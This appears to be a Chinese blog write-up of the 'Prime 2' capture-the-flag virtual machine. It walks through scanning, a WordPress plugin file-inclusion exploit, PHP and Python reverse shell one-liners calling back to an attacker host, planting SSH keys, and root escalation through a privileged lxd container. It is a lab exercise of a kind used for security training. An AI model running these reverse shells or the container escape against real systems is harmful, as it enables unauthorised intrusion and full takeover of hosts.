Prime (2021): 2

前言

这个靶机有亿点难,收获很多。打靶的时候,前面很顺,到创建ssh公钥之后就一点不会了。

1

01

arp扫描,发现有一个130,再查看端口

有22,80,129,445,10123

dirb扫描目录


这里的something里面有一个jarves,应该是用户名称

继续找,发现upload里有cmd,应该是利用这里上传shell

02

/wp有一个wordpress,去搜索知道是一个平台,我们可以用wpscan去扫描wordpress,翻LFI是一个本地文件包含漏洞,不知道怎么利用,看wp要利用这里的https://www.exploit-db.com/exploits/46537/

打开后,找到这一行

发现用户jarves

/server里有一个zip,去搜索了知道,这是gila cms,没什么用处

初步信息收集完成

2

再进行上传shell操作,因为,上文提到的php文件,我这里用php提权

php -r '$sock=fsockopen("47.192.168.157.128",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

我这里失败了,换python试试

192.168.157.130/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=.../.../.../.../.../.../.../.../.../.../home/jarves/upload/shell.php&cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.157.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%22/bin/sh%22,%22-i%22);%27

再升级shell

去home目录查看信息,有jarves

tmp里没有东西可以利用

查看/var,var目录的详细信息

查看/var/www

找到root的密码:root

我这里想去ssh连接,发现密码不对

3

剩下的步骤基本是看wp

要先用两个工具smbclient和enum4linux

再创建ssh公钥

将id_rsa.pub复制到tmp目录下命名位authorized_keys

将authorized_keys上传到目标主机的.ssh目录下

然后使用ssh登录到目标主机

4

发现jarves还属于lxd组

从github下载构建好的Alpine,然后进行执行

接着我们将生成的文件上传至目标机器

wget http://192.168.157.130:7777/lxd-alpine-builder/alpine-v3.14-x86_64-20240410_1650.tar.gz

接着我们使用lxd进行初始化

​lxd init

导入镜像

lxc image import ./alpine-v3.14-x86_64-20240410_1650.tar.gz --alias myimage

进入到容器的命令行

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

替换mnt/root目录下的authorized_keys文件

最后使用ssh连接拿到root权限

相关推荐
实点科技6 分钟前
远程IO模块的柜外安装:装在什么位置、防尘罩怎么选配
运维·服务器·网络
云计算-Security11 分钟前
AI 赋能运维:UniRack 主机纳管平台的架构与实践
运维·人工智能·架构
云絮.17 分钟前
Spring MVC(二)
服务器·spring·mvc
Summer-Bright24 分钟前
深度 | 壁仞1.74亿中标智算中心:国产GPU从能用跨进商用,但4.5亿的大单却因凑不齐三家废标了
数据库·ai·国产gpu
青梅味猪大肠29 分钟前
【操作系统-26】进程互斥软件实现-Peterson算法
linux·运维·服务器
云安全助手30 分钟前
自建接入VS聚合平台:企业 AI 调用的选型思路与迁移成本拆解
java·大数据·数据库·人工智能·ai大模型
分布式存储与RustFS32 分钟前
在 Kubernetes 里跑对象存储的三个方案:Helm、Operator、以及什么时候别用 K8s
运维·云原生·开源·对象存储·分布式存储·s3·性能基准
怪力左手35 分钟前
docker+qemu创建镜像
运维·docker·容器
白露与泡影1 小时前
Redis 的“单线程”与“多线程”:一场关于性能与简洁的权衡
数据库·redis·php
wdfk_prog1 小时前
Wi-Fi Direct教程 01:在 Ubuntu 搭建双 mac80211_hwsim + wpa_supplicant 2.12
linux·运维·服务器·ubuntu·ros·wifi-direct